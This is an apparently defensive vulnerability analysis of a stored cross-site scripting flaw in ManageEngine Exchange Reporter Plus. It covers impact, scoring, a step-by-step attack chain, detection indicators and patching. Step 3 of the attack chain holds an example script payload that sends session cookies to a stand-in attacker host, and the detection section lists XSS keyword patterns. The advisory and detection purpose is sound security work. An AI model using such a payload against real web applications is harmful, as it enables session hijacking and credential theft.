CVE-2026-4107: 
Zoho ManageEngine Exchange Reporter Plus vulnerability analysis and mitigation

CVE-2026-4107 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus affecting all builds up to and including 5801. The flaw exists in the Folder Message Count and Size report within the Reports module, allowing authenticated low-privileged users to inject persistent malicious scripts. It was fixed on March 19, 2026, and publicly disclosed on April 3, 2026. The CVSS v3.1 base score is 7.3 (High) per the GitHub Advisory Database, while NVD rates it 5.4 (Medium) (ManageEngine Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient input validation in the Folder Message Count and Size report (ManageEngine Advisory). An authenticated attacker who is a mailbox user in the Exchange organization can inject malicious JavaScript into report data fields; the payload is stored server-side and executes in the browser of any user who subsequently views the affected report. The attack vector is network-based, requires low privileges, and necessitates user interaction (a victim must view the report), with no special attack complexity (GitHub Advisory). The fix was implemented in build 5802 via proper input validation and output encoding (ManageEngine Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browser context of higher-privileged users who view the compromised report, potentially leading to session hijacking, credential theft, unauthorized actions within Exchange Reporter Plus, and lateral movement within the organization (ManageEngine Advisory). The confidentiality and integrity impacts are rated High by the GitHub Advisory (CVSS S:U/C:H/I:H), meaning sensitive Exchange reporting data and administrative session tokens could be exposed or manipulated. Availability is not directly impacted by this vulnerability (GitHub Advisory).

There is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.022% (6th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported; the vulnerability was responsibly disclosed by researcher "C311" through the Zoho BugBounty program (ManageEngine Advisory).

1. Reconnaissance: Identify ManageEngine Exchange Reporter Plus instances running build 5801 or earlier, accessible via the network. Confirm the target is configured with Exchange mailbox user accounts.
2. Authenticate: Log in to Exchange Reporter Plus using a low-privileged mailbox user account within the Exchange organization.
3. Inject payload: Navigate to the Folder Message Count and Size report within the Reports module and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an input field that is reflected in the report output without sanitization.
4. Payload persistence: The injected script is stored server-side and rendered each time the report is viewed.
5. Victim interaction: Wait for a higher-privileged user (e.g., an Exchange Reporter Plus administrator) to view the affected report, triggering execution of the injected script in their browser context.
6. Achieve objective: The script executes actions such as stealing session cookies, performing unauthorized API calls within Exchange Reporter Plus, or redirecting the victim to an attacker-controlled page (ManageEngine Advisory, GitHub Advisory).

• Logs: Exchange Reporter Plus application logs showing unusual or encoded input values (e.g., <script>, javascript:, onerror=, onload=) submitted to the Folder Message Count and Size report fields.
• Network: Outbound HTTP/S requests from administrator browsers to unexpected external domains shortly after viewing Exchange Reporter Plus reports, potentially indicating cookie or credential exfiltration.
• Application Behavior: Unexpected redirects or pop-ups experienced by users viewing the Folder Message Count and Size report within Exchange Reporter Plus.
• Session: Anomalous session activity for privileged Exchange Reporter Plus accounts — logins from unusual IP addresses or at unusual times following report access.

Zohocorp has resolved this vulnerability in ManageEngine Exchange Reporter Plus build 5802, released on March 19, 2026, by implementing proper input validation (ManageEngine Advisory). Organizations should update to build 5802 or later immediately using the available service pack. As interim mitigations, restrict access to the Reports module to only trusted and necessary users, deploy a web application firewall (WAF) with XSS detection rules, and monitor report access logs for anomalous activity.

The vulnerability was reported through Zoho's BugBounty program by researcher "C311" and received standard disclosure treatment with no notable public controversy (ManageEngine Advisory). No significant social media discussion, vendor statements beyond the official advisory, or major media coverage has been identified for this vulnerability.